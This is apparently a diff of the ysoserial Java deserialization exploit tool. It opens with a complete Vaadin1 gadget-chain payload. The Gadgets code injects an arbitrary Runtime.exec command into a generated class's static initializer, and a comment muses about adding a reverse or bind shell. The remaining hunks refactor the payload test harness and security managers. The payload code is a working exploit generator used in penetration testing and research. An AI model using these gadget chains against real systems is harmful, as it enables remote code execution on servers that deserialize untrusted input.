import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.JavaVersion;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
@Dependencies ( { "com.vaadin:vaadin-server:7.7.14", "com.vaadin:vaadin-shared:7.7.14" })
|
||||
@PayloadTest ( precondition = "isApplicableJavaVersion")
|
||||
@Authors({ Authors.KULLRICH })
|
||||
public class Vaadin1 implements ObjectPayload<Object>
|
||||
{
|
||||
// +-------------------------------------------------+
|
||||
// | |
|
||||
// | BadAttributeValueExpException |
|
||||
// | |
|
||||
// | val ==> PropertysetItem |
|
||||
// | |
|
||||
// | readObject() ==> val.toString() |
|
||||
// | + |
|
||||
// +----------|--------------------------------------+
|
||||
// |
|
||||
// |
|
||||
// |
|
||||
// +----|-----------------------------------------+
|
||||
// | v |
|
||||
// | PropertysetItem |
|
||||
// | |
|
||||
// | toString () => getPropertyId().getValue () |
|
||||
// | + |
|
||||
// +---------------------------------------|------+
|
||||
// |
|
||||
// +-----------------------------+
|
||||
// |
|
||||
// +-----|----------------------------------------------+
|
||||
// | v |
|
||||
// | NestedMethodProperty |
|
||||
// | |
|
||||
// | getValue() => java.lang.reflect.Method.invoke () |
|
||||
// | | |
|
||||
// +-------------------------------------------|--------+
|
||||
// |
|
||||
// +-----------------------------------+
|
||||
// |
|
||||
// +---|--------------------------------------------+
|
||||
// | v |
|
||||
// | TemplatesImpl.getOutputProperties() |
|
||||
// | |
|
||||
// +------------------------------------------------+
|
||||
|
||||
@Override
|
||||
public Object getObject (String command) throws Exception
|
||||
{
|
||||
Object templ = Gadgets.createTemplatesImpl (command);
|
||||
PropertysetItem pItem = new PropertysetItem ();
|
||||
|
||||
NestedMethodProperty<Object> nmprop = new NestedMethodProperty<Object> (templ, "outputProperties");
|
||||
pItem.addItemProperty ("outputProperties", nmprop);
|
||||
|
||||
BadAttributeValueExpException b = new BadAttributeValueExpException ("");
|
||||
Reflections.setFieldValue (b, "val", pItem);
|
||||
|
||||
return b;
|
||||
}
|
||||
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
return JavaVersion.isBadAttrValExcReadObj();
|
||||
}
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
PayloadRunner.run(Vaadin1.class, args);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -46,7 +46,7 @@ import ysoserial.payloads.util.Reflections;
|
||||
* $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp
|
||||
* blue lobster
|
||||
*/
|
||||
@PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", flaky="possible race condition")
|
||||
@PayloadTest(harness = "ysoserial.payloads.FileUploadTest")
|
||||
@Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"})
|
||||
@Authors({ Authors.JACOBAINES })
|
||||
public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
|
||||
|
||||
@@ -15,22 +15,9 @@ public @interface Authors {
|
||||
String MBECHLER = "mbechler";
|
||||
String JACKOFMOSTTRADES = "JackOfMostTrades";
|
||||
String MATTHIASKAISER = "matthias_kaiser";
|
||||
String GEBL = "gebl";
|
||||
String GEBL = "gebl" ;
|
||||
String JACOBAINES = "jacob-baines";
|
||||
String JASINNER = "jasinner";
|
||||
String KULLRICH = "kai_ullrich";
|
||||
String TINT0 = "_tint0";
|
||||
String SCRISTALLI = "scristalli";
|
||||
String HANYRAX = "hanyrax";
|
||||
String EDOARDOVIGNATI = "EdoardoVignati";
|
||||
String YKOSTER = "ykoster";
|
||||
String MEIZJM3I = "meizjm3i";
|
||||
String SCICCONE = "sciccone";
|
||||
String ZEROTHOUGHTS = "zerothoughts";
|
||||
String NAVALORENZO = "navalorenzo";
|
||||
String JANG = "Jang";
|
||||
String ARTSPLOIT = "artsploit";
|
||||
String K4n5ha0 = "k4n5ha0";
|
||||
|
||||
String[] value() default {};
|
||||
|
||||
|
||||
@@ -9,11 +9,11 @@ import java.lang.annotation.RetentionPolicy;
|
||||
*/
|
||||
@Retention(RetentionPolicy.RUNTIME)
|
||||
public @interface PayloadTest {
|
||||
|
||||
String skip() default "";
|
||||
|
||||
String precondition() default "";
|
||||
|
||||
String harness() default "";
|
||||
|
||||
String flaky() default "";
|
||||
}
|
||||
|
||||
@@ -12,7 +12,6 @@ import java.lang.reflect.Proxy;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import com.nqzero.permit.Permit;
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
@@ -115,7 +114,7 @@ public class Gadgets {
|
||||
// run command in static initializer
|
||||
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
|
||||
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
|
||||
command.replace("\\", "\\\\").replace("\"", "\\\"") +
|
||||
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
|
||||
"\");";
|
||||
clazz.makeClassInitializer().insertAfter(cmd);
|
||||
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
|
||||
@@ -149,7 +148,7 @@ public class Gadgets {
|
||||
nodeC = Class.forName("java.util.HashMap$Entry");
|
||||
}
|
||||
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
|
||||
Reflections.setAccessible(nodeCons);
|
||||
nodeCons.setAccessible(true);
|
||||
|
||||
Object tbl = Array.newInstance(nodeC, 2);
|
||||
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
|
||||
|
||||
@@ -21,13 +21,13 @@ public class JavaVersion {
|
||||
}
|
||||
JavaVersion v = new JavaVersion();
|
||||
String parts[] = property.split("\\.|_|-");
|
||||
int start = "1".equals(parts[0]) ? 1 : 0; // skip "1." prefix
|
||||
v.major = Integer.parseInt(parts[start + 0]);
|
||||
v.minor = Integer.parseInt(parts[start + 1]);
|
||||
v.update = Integer.parseInt(parts[start + 2]);
|
||||
v.major = Integer.parseInt(parts[1]);
|
||||
v.minor = Integer.parseInt(parts[2]);
|
||||
v.update = Integer.parseInt(parts[3]);
|
||||
return v;
|
||||
}
|
||||
|
||||
|
||||
public static boolean isAnnInvHUniversalMethodImpl() {
|
||||
JavaVersion v = JavaVersion.getLocalVersion();
|
||||
return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71));
|
||||
@@ -37,10 +37,5 @@ public class JavaVersion {
|
||||
JavaVersion v = JavaVersion.getLocalVersion();
|
||||
return v != null && (v.major > 8 && v.update >= 76);
|
||||
}
|
||||
|
||||
public static boolean isAtLeast(int major) {
|
||||
JavaVersion v = JavaVersion.getLocalVersion();
|
||||
return v != null && v.major >= major;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,42 +1,20 @@
|
||||
package ysoserial.payloads.util;
|
||||
|
||||
import java.lang.reflect.AccessibleObject;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
|
||||
import sun.reflect.ReflectionFactory;
|
||||
|
||||
import com.nqzero.permit.Permit;
|
||||
|
||||
@SuppressWarnings ( "restriction" )
|
||||
public class Reflections {
|
||||
|
||||
public static void setAccessible(AccessibleObject member) {
|
||||
String versionStr = System.getProperty("java.version");
|
||||
int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
|
||||
if (javaVersion < 12) {
|
||||
// quiet runtime warnings from JDK9+
|
||||
Permit.setAccessible(member);
|
||||
} else {
|
||||
// not possible to quiet runtime warnings anymore...
|
||||
// see https://bugs.openjdk.java.net/browse/JDK-8210522
|
||||
// to understand impact on Permit (i.e. it does not work
|
||||
// anymore with Java >= 12)
|
||||
member.setAccessible(true);
|
||||
}
|
||||
}
|
||||
|
||||
public static Field getField(final Class<?> clazz, final String fieldName) {
|
||||
Field field = null;
|
||||
try {
|
||||
field = clazz.getDeclaredField(fieldName);
|
||||
setAccessible(field);
|
||||
}
|
||||
catch (NoSuchFieldException ex) {
|
||||
if (clazz.getSuperclass() != null)
|
||||
public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
if (field != null)
|
||||
field.setAccessible(true);
|
||||
else if (clazz.getSuperclass() != null)
|
||||
field = getField(clazz.getSuperclass(), fieldName);
|
||||
}
|
||||
return field;
|
||||
}
|
||||
|
||||
@@ -52,13 +30,10 @@ public class Reflections {
|
||||
|
||||
public static Constructor<?> getFirstCtor(final String name) throws Exception {
|
||||
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
|
||||
setAccessible(ctor);
|
||||
ctor.setAccessible(true);
|
||||
return ctor;
|
||||
}
|
||||
|
||||
public static Object newInstance(String className, Object ... args) throws Exception {
|
||||
return getFirstCtor(className).newInstance(args);
|
||||
}
|
||||
|
||||
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
|
||||
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
|
||||
@@ -69,9 +44,9 @@ public class Reflections {
|
||||
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
|
||||
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
|
||||
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
|
||||
setAccessible(objCons);
|
||||
objCons.setAccessible(true);
|
||||
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
|
||||
setAccessible(sc);
|
||||
sc.setAccessible(true);
|
||||
return (T)sc.newInstance(consArgs);
|
||||
}
|
||||
|
||||
|
||||
@@ -16,42 +16,12 @@ public class DelegateSecurityManager extends SecurityManager {
|
||||
this.securityManager = securityManager;
|
||||
}
|
||||
|
||||
//BEGIN fixes for JDK10+ compatibility
|
||||
|
||||
@SuppressWarnings({"deprecation"})
|
||||
//@Override
|
||||
@Override
|
||||
public boolean getInCheck() {
|
||||
//return getSecurityManager().getInCheck();
|
||||
return false;
|
||||
return getSecurityManager().getInCheck();
|
||||
}
|
||||
|
||||
@SuppressWarnings({"deprecation"})
|
||||
//@Override
|
||||
public boolean checkTopLevelWindow(Object window) {
|
||||
//return getSecurityManager().checkTopLevelWindow(window);
|
||||
return true;
|
||||
}
|
||||
|
||||
@SuppressWarnings({"deprecation"})
|
||||
//@Override
|
||||
public void checkSystemClipboardAccess() {
|
||||
//getSecurityManager().checkSystemClipboardAccess();
|
||||
}
|
||||
|
||||
@SuppressWarnings({"deprecation"})
|
||||
//@Override
|
||||
public void checkAwtEventQueueAccess() {
|
||||
//getSecurityManager().checkAwtEventQueueAccess();
|
||||
}
|
||||
|
||||
@SuppressWarnings({"deprecation"})
|
||||
//@Override
|
||||
public void checkMemberAccess(Class<?> clazz, int which) {
|
||||
//getSecurityManager().checkMemberAccess(clazz, which);
|
||||
}
|
||||
|
||||
//END fixes for JDK10+ compatibility
|
||||
|
||||
@Override
|
||||
public Object getSecurityContext() {
|
||||
return getSecurityManager().getSecurityContext();
|
||||
@@ -168,11 +138,29 @@ public class DelegateSecurityManager extends SecurityManager {
|
||||
getSecurityManager().checkPropertyAccess(key);
|
||||
}
|
||||
|
||||
@SuppressWarnings({"deprecation"})
|
||||
@Override
|
||||
public boolean checkTopLevelWindow(Object window) {
|
||||
return getSecurityManager().checkTopLevelWindow(window);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkPrintJobAccess() {
|
||||
getSecurityManager().checkPrintJobAccess();
|
||||
}
|
||||
|
||||
@SuppressWarnings({"deprecation"})
|
||||
@Override
|
||||
public void checkSystemClipboardAccess() {
|
||||
getSecurityManager().checkSystemClipboardAccess();
|
||||
}
|
||||
|
||||
@SuppressWarnings({"deprecation"})
|
||||
@Override
|
||||
public void checkAwtEventQueueAccess() {
|
||||
getSecurityManager().checkAwtEventQueueAccess();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkPackageAccess(String pkg) {
|
||||
|
||||
@@ -189,6 +177,12 @@ public class DelegateSecurityManager extends SecurityManager {
|
||||
getSecurityManager().checkSetFactory();
|
||||
}
|
||||
|
||||
@SuppressWarnings({"deprecation"})
|
||||
@Override
|
||||
public void checkMemberAccess(Class<?> clazz, int which) {
|
||||
getSecurityManager().checkMemberAccess(clazz, which);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkSecurityAccess(String target) {
|
||||
getSecurityManager().checkSecurityAccess(target);
|
||||
|
||||
@@ -6,7 +6,6 @@ import java.util.LinkedList;
|
||||
import java.util.List;
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
// TODO per-thread secmgr
|
||||
public class ExecCheckingSecurityManager extends SecurityManager {
|
||||
public ExecCheckingSecurityManager() {
|
||||
this(true);
|
||||
@@ -42,6 +41,7 @@ public class ExecCheckingSecurityManager extends SecurityManager {
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
@SuppressWarnings("serial")
|
||||
public static class ExecException extends RuntimeException {
|
||||
private final String threadName = Thread.currentThread().getName();
|
||||
|
||||
@@ -1,11 +0,0 @@
|
||||
package ysoserial;
|
||||
|
||||
import org.junit.Test;
|
||||
|
||||
public class CiTest {
|
||||
@Test
|
||||
public void test() {
|
||||
System.out.println("System.getProperties(): " + System.getProperties());
|
||||
System.out.println("System.getenv(): " + System.getenv());
|
||||
}
|
||||
}
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package ysoserial.test;
|
||||
package ysoserial;
|
||||
|
||||
|
||||
/**
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package ysoserial.test;
|
||||
package ysoserial;
|
||||
|
||||
|
||||
/**
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package ysoserial.test;
|
||||
package ysoserial;
|
||||
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package ysoserial.test;
|
||||
package ysoserial;
|
||||
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package ysoserial.test.exploit;
|
||||
package ysoserial.exploit;
|
||||
|
||||
import java.rmi.RemoteException;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
+5
-4
@@ -1,9 +1,9 @@
|
||||
package ysoserial.test.payloads;
|
||||
package ysoserial.payloads;
|
||||
|
||||
import org.junit.Assert;
|
||||
import ysoserial.test.CustomTest;
|
||||
import ysoserial.test.util.Files;
|
||||
import ysoserial.test.util.OS;
|
||||
import ysoserial.CustomTest;
|
||||
import ysoserial.util.Files;
|
||||
import ysoserial.util.OS;
|
||||
|
||||
import java.io.File;
|
||||
import java.util.UUID;
|
||||
@@ -16,6 +16,7 @@ public class CommandExecTest implements CustomTest {
|
||||
@Override
|
||||
public void run(Callable<Object> payload) throws Exception {
|
||||
Assert.assertFalse("test file should not exist", testFile.exists());
|
||||
Exception err;
|
||||
try {
|
||||
payload.call();
|
||||
} catch (Exception e) {
|
||||
+7
-20
@@ -1,4 +1,4 @@
|
||||
package ysoserial.test.payloads;
|
||||
package ysoserial.payloads;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
@@ -9,8 +9,8 @@ import org.junit.Assert;
|
||||
|
||||
import com.google.common.io.Files;
|
||||
|
||||
import ysoserial.test.CustomTest;
|
||||
import ysoserial.test.util.OS;
|
||||
import ysoserial.CustomTest;
|
||||
import ysoserial.util.OS;
|
||||
|
||||
/**
|
||||
* @author mbechler
|
||||
@@ -47,13 +47,10 @@ public class FileUploadTest implements CustomTest {
|
||||
payload.call();
|
||||
|
||||
File found = null;
|
||||
for (int i = 0; i < 50 && found == null; i++) { // try for 5s before failing
|
||||
for (File f : this.repo.listFiles()) {
|
||||
for ( File f : this.repo.listFiles()) {
|
||||
found = f;
|
||||
break;
|
||||
}
|
||||
Thread.sleep(100);
|
||||
}
|
||||
Assert.assertNotNull("File not copied", found);
|
||||
if (OS.get() != OS.WINDOWS) {
|
||||
// windows' file locking seems to cause this to fail
|
||||
@@ -63,21 +60,11 @@ public class FileUploadTest implements CustomTest {
|
||||
} finally {
|
||||
if ( this.repo.exists()) {
|
||||
for ( File f : this.repo.listFiles()) {
|
||||
safeDeleteOnExit(f);
|
||||
}
|
||||
safeDeleteOnExit(this.repo);
|
||||
}
|
||||
safeDeleteOnExit(this.source);
|
||||
}
|
||||
}
|
||||
|
||||
private static void safeDeleteOnExit(File f) {
|
||||
try {
|
||||
if (f.exists()) {
|
||||
f.deleteOnExit();
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
this.repo.deleteOnExit();
|
||||
}
|
||||
this.source.deleteOnExit();
|
||||
}
|
||||
}
|
||||
|
||||
+3
-3
@@ -1,10 +1,10 @@
|
||||
package ysoserial.test.payloads;
|
||||
package ysoserial.payloads;
|
||||
|
||||
|
||||
import java.net.URL;
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
import ysoserial.test.WrappedTest;
|
||||
import ysoserial.WrappedTest;
|
||||
import ysoserial.exploit.JRMPListener;
|
||||
|
||||
|
||||
@@ -30,7 +30,7 @@ public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*
|
||||
* @see RemoteClassLoadingTest#createCallable(java.util.concurrent.Callable)
|
||||
* @see ysoserial.payloads.RemoteClassLoadingTest#createCallable(java.util.concurrent.Callable)
|
||||
*/
|
||||
@Override
|
||||
public Callable<Object> createCallable ( final Callable<Object> innerCallable ) {
|
||||
+3
-3
@@ -1,4 +1,4 @@
|
||||
package ysoserial.test.payloads;
|
||||
package ysoserial.payloads;
|
||||
|
||||
|
||||
import java.util.concurrent.Callable;
|
||||
@@ -7,7 +7,7 @@ import javax.management.BadAttributeValueExpException;
|
||||
|
||||
import org.junit.Assert;
|
||||
|
||||
import ysoserial.test.CustomTest;
|
||||
import ysoserial.CustomTest;
|
||||
import ysoserial.exploit.JRMPListener;
|
||||
|
||||
|
||||
@@ -51,7 +51,7 @@ public class JRMPReverseConnectTest implements CustomTest {
|
||||
|
||||
|
||||
public String getPayloadArgs () {
|
||||
return "rmi://localhost:" + port + "/ExportObject";
|
||||
return "rmi:localhost:" + port;
|
||||
}
|
||||
|
||||
}
|
||||
+3
-4
@@ -1,4 +1,4 @@
|
||||
package ysoserial.test.payloads;
|
||||
package ysoserial.payloads;
|
||||
|
||||
|
||||
import java.beans.FeatureDescriptor;
|
||||
@@ -23,8 +23,7 @@ import org.mockito.Mockito;
|
||||
import org.mockito.invocation.InvocationOnMock;
|
||||
import org.mockito.stubbing.Answer;
|
||||
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
import ysoserial.test.CustomDeserializer;
|
||||
import ysoserial.CustomDeserializer;
|
||||
import ysoserial.Deserializer;
|
||||
|
||||
|
||||
@@ -143,7 +142,7 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
|
||||
@Override
|
||||
public Object call () throws Exception {
|
||||
java.lang.reflect.Method setFC = FacesContext.class.getDeclaredMethod("setCurrentInstance", FacesContext.class);
|
||||
Reflections.setAccessible(setFC);
|
||||
setFC.setAccessible(true);
|
||||
ClassLoader oldTCCL = Thread.currentThread().getContextClassLoader();
|
||||
Thread.currentThread().setContextClassLoader(this.getClass().getClassLoader());
|
||||
FacesContext ctx = createMockFacesContext();
|
||||
+23
-143
@@ -1,44 +1,37 @@
|
||||
package ysoserial.test.payloads;
|
||||
package ysoserial.payloads;
|
||||
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.File;
|
||||
import java.io.OutputStream;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
import org.jboss.shrinkwrap.resolver.api.maven.Maven;
|
||||
import org.junit.Assert;
|
||||
import org.junit.Assume;
|
||||
import org.junit.Test;
|
||||
import org.junit.runner.Description;
|
||||
import org.junit.runner.JUnitCore;
|
||||
import org.junit.runner.Result;
|
||||
import org.junit.runner.RunWith;
|
||||
import org.junit.runner.notification.Failure;
|
||||
import org.junit.runner.notification.RunListener;
|
||||
import org.junit.runners.Parameterized;
|
||||
import org.junit.runners.Parameterized.Parameters;
|
||||
|
||||
import ysoserial.*;
|
||||
import ysoserial.payloads.DynamicDependencies;
|
||||
import ysoserial.payloads.ObjectPayload;
|
||||
import ysoserial.test.CustomTest;
|
||||
import ysoserial.test.CustomDeserializer;
|
||||
import ysoserial.test.CustomPayloadArgs;
|
||||
import ysoserial.test.WrappedTest;
|
||||
import ysoserial.test.payloads.TestHarnessTest.ExecMockPayload;
|
||||
import ysoserial.test.payloads.TestHarnessTest.NoopMockPayload;
|
||||
import ysoserial.CustomDeserializer;
|
||||
import ysoserial.CustomPayloadArgs;
|
||||
import ysoserial.CustomTest;
|
||||
import ysoserial.Deserializer;
|
||||
import ysoserial.Serializer;
|
||||
import ysoserial.util.Throwables;
|
||||
import ysoserial.WrappedTest;
|
||||
import ysoserial.payloads.TestHarnessTest.ExecMockPayload;
|
||||
import ysoserial.payloads.TestHarnessTest.NoopMockPayload;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.ClassFiles;
|
||||
import ysoserial.secmgr.ExecCheckingSecurityManager;
|
||||
import ysoserial.secmgr.ExecCheckingSecurityManager.ExecException;
|
||||
|
||||
|
||||
/*
|
||||
@@ -77,15 +70,12 @@ public class PayloadsTest {
|
||||
|
||||
public static void testPayload ( final Class<? extends ObjectPayload<?>> payloadClass, final Class<?>[] addlClassesForClassLoader )
|
||||
throws Exception {
|
||||
System.out.println("Testing payload: " + payloadClass.getName());
|
||||
|
||||
String command = "hostname";
|
||||
String[] deps = buildDeps(payloadClass);
|
||||
|
||||
PayloadTest t = payloadClass.getAnnotation(PayloadTest.class);
|
||||
|
||||
int tries = 1;
|
||||
if ( t != null ) {
|
||||
if (System.getProperty("forceTests") == null) {
|
||||
if ( !t.skip().isEmpty() ) {
|
||||
Assume.assumeTrue(t.skip(), false);
|
||||
}
|
||||
@@ -95,12 +85,6 @@ public class PayloadsTest {
|
||||
}
|
||||
}
|
||||
|
||||
if (! t.flaky().isEmpty()) {
|
||||
tries = 5;
|
||||
}
|
||||
}
|
||||
|
||||
String[] deps = buildDeps(payloadClass);
|
||||
String payloadCommand = command;
|
||||
Class<?> customDeserializer = null;
|
||||
Object testHarness = null;
|
||||
@@ -115,37 +99,26 @@ public class PayloadsTest {
|
||||
testHarness = new CommandExecTest(); // default
|
||||
}
|
||||
|
||||
if ( testHarness instanceof CustomPayloadArgs) {
|
||||
if ( testHarness instanceof CustomPayloadArgs ) {
|
||||
payloadCommand = ( (CustomPayloadArgs) testHarness ).getPayloadArgs();
|
||||
}
|
||||
|
||||
if ( testHarness instanceof CustomDeserializer) {
|
||||
if ( testHarness instanceof CustomDeserializer ) {
|
||||
customDeserializer = ((CustomDeserializer)testHarness).getCustomDeserializer();
|
||||
}
|
||||
|
||||
// TODO per-thread secmgr to enforce no detonation during deserialization
|
||||
final byte[] serialized = makeSerializeCallable(payloadClass, payloadCommand).call();
|
||||
ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager();
|
||||
final byte[] serialized = sm.callWrapped(makeSerializeCallable(payloadClass, payloadCommand));
|
||||
Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer);
|
||||
if ( testHarness instanceof WrappedTest) {
|
||||
if ( testHarness instanceof WrappedTest ) {
|
||||
callable = ( (WrappedTest) testHarness ).createCallable(callable);
|
||||
}
|
||||
|
||||
if (testHarness instanceof CustomTest) {
|
||||
// if marked as flaky try up to 5 times
|
||||
Exception ex = new Exception();
|
||||
for (int i = 0; i < tries; i++) {
|
||||
try {
|
||||
((CustomTest) testHarness).run(callable);
|
||||
ex = null;
|
||||
break;
|
||||
} catch (Exception e) {
|
||||
ex = e;
|
||||
if ( testHarness instanceof CustomTest ) {
|
||||
( (CustomTest) testHarness ).run(callable);
|
||||
return;
|
||||
}
|
||||
}
|
||||
if (ex != null) throw ex;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -200,12 +173,7 @@ public class PayloadsTest {
|
||||
|
||||
static Object deserializeWithDependencies ( byte[] serialized, final String[] dependencies, final Class<?>[] classDependencies, final Class<?> customDeserializer )
|
||||
throws Exception {
|
||||
File[] jars = dependencies.length > 0
|
||||
? Maven.configureResolver()
|
||||
.withMavenCentralRepo(true)
|
||||
.withRemoteRepo("jenkins", "https://repo.jenkins-ci.org/public/", "default")
|
||||
.resolve(dependencies).withoutTransitivity().asFile()
|
||||
: new File[0];
|
||||
File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0];
|
||||
URL[] urls = new URL[jars.length];
|
||||
for ( int i = 0; i < jars.length; i++ ) {
|
||||
urls[ i ] = jars[ i ].toURI().toURL();
|
||||
@@ -251,92 +219,4 @@ public class PayloadsTest {
|
||||
Thread.currentThread().setContextClassLoader(ccl);
|
||||
}
|
||||
}
|
||||
|
||||
public static void main(String[] args) {
|
||||
|
||||
JUnitCore junit = new JUnitCore();
|
||||
PayloadListener listener = new PayloadListener();
|
||||
junit.addListener(listener);
|
||||
Result result = junit.run(PayloadsTest.class);
|
||||
System.exit(result.wasSuccessful() ? 0 : 1);
|
||||
}
|
||||
|
||||
public static class StdIo {
|
||||
|
||||
private static final PrintStream realOut = System.out;
|
||||
private static final PrintStream realErr = System.err;
|
||||
|
||||
public static void restoreStreams() {
|
||||
setStreams(realOut, realErr);
|
||||
}
|
||||
|
||||
public static void setStreams(PrintStream out, PrintStream err) {
|
||||
System.setOut(out);
|
||||
System.setErr(err);
|
||||
}
|
||||
|
||||
public static void setStreams(OutputStream out, OutputStream err) {
|
||||
setStreams(new PrintStream(out), new PrintStream(err));
|
||||
}
|
||||
}
|
||||
|
||||
public static class PayloadListener extends RunListener {
|
||||
public enum Status {
|
||||
SUCCESS,
|
||||
FAILURE,
|
||||
IGNORE,
|
||||
ASSUMPTION_FAILURE
|
||||
}
|
||||
|
||||
private Map<Description, ByteArrayOutputStream> outs = new HashMap<Description, ByteArrayOutputStream>();
|
||||
private Map<Description, ByteArrayOutputStream> errs = new HashMap<Description, ByteArrayOutputStream>();
|
||||
|
||||
private Map<Description, Status> statuses = new HashMap<Description, Status>();
|
||||
|
||||
private Map<Description, Failure> failures = new HashMap<Description, Failure>();
|
||||
|
||||
@Override
|
||||
public void testStarted(Description description) throws Exception {
|
||||
System.out.println(getPayload(description.getDisplayName()) + ": STARTED");
|
||||
|
||||
statuses.put(description, Status.SUCCESS);
|
||||
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
// ByteArrayOutputStream err = new ByteArrayOutputStream();
|
||||
|
||||
outs.put(description, out);
|
||||
// errs.put(description, err);
|
||||
|
||||
StdIo.setStreams(out, out);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void testFinished(Description description) throws Exception {
|
||||
outs.get(description).close();
|
||||
//errs.get(description).close();
|
||||
|
||||
StdIo.restoreStreams();
|
||||
|
||||
Status status = statuses.get(description);
|
||||
System.out.println(getPayload(description.getDisplayName()) + ": " + status);
|
||||
if (status == Status.FAILURE) System.err.println(outs.get(description).toString());
|
||||
}
|
||||
|
||||
@Override
|
||||
public void testFailure(Failure failure) throws Exception {
|
||||
statuses.put(failure.getDescription(), Status.FAILURE);
|
||||
failures.put(failure.getDescription(), failure);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void testAssumptionFailure(Failure failure) {
|
||||
statuses.put(failure.getDescription(), Status.ASSUMPTION_FAILURE);
|
||||
failures.put(failure.getDescription(), failure);
|
||||
}
|
||||
|
||||
// testPayload[payloadClass: class ysoserial.payloads.JavassistWeld1](ysoserial.test.payloads.PayloadsTest)
|
||||
public static String getPayload(String displayName) {
|
||||
return displayName.replaceAll(".*\\[\\S+: class (\\w+\\.)+(\\w+)\\].*", "$2");
|
||||
}
|
||||
}
|
||||
}
|
||||
+2
-2
@@ -1,4 +1,4 @@
|
||||
package ysoserial.test.payloads;
|
||||
package ysoserial.payloads;
|
||||
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
@@ -12,7 +12,7 @@ import fi.iki.elonen.NanoHTTPD.Response.Status;
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import ysoserial.test.WrappedTest;
|
||||
import ysoserial.WrappedTest;
|
||||
|
||||
|
||||
/**
|
||||
+1
-2
@@ -1,4 +1,4 @@
|
||||
package ysoserial.test.payloads;
|
||||
package ysoserial.payloads;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectInputStream;
|
||||
@@ -7,7 +7,6 @@ import java.io.Serializable;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.Assert;
|
||||
import org.junit.Test;
|
||||
import ysoserial.payloads.ObjectPayload;
|
||||
|
||||
public class TestHarnessTest {
|
||||
// make sure test harness fails properly
|
||||
@@ -1,47 +0,0 @@
|
||||
package ysoserial.test.payloads;
|
||||
|
||||
import java.util.HashMap;
|
||||
|
||||
import com.opensymphony.xwork2.ActionContext;
